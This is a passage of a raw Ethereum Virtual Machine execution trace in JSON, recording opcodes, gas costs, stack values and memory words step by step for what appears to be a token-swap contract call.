04c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3000,"op":"ADD","gas":99314,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3001,"op":"AND","gas":99311,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3002,"op":"DUP3","gas":99308,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3003,"op":"ADD","gas":99305,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0x20","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3004,"op":"DUP1","gas":99302,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3005,"op":"PUSH1","gas":99299,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0x220","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3007,"op":"MSTORE","gas":99296,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0x220","0x220","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3008,"op":"POP","gas":99293,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3009,"op":"DUP2","gas":99291,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3010,"op":"ADD","gas":99288,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x20","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3011,"op":"SWAP1","gas":99285,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x200","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3012,"op":"PUSH2","gas":99282,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x220","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3015,"op":"SWAP2","gas":99279,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x220","0x200","0xbcd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3016,"op":"SWAP1","gas":99276,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x200","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3017,"op":"PUSH2","gas":99273,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3020,"op":"JUMP","gas":99270,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x3aaf"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15023,"op":"JUMPDEST","gas":99262,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15024,"op":"PUSH1","gas":99261,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15026,"op":"PUSH1","gas":99258,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15028,"op":"DUP3","gas":99255,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x20"],"memory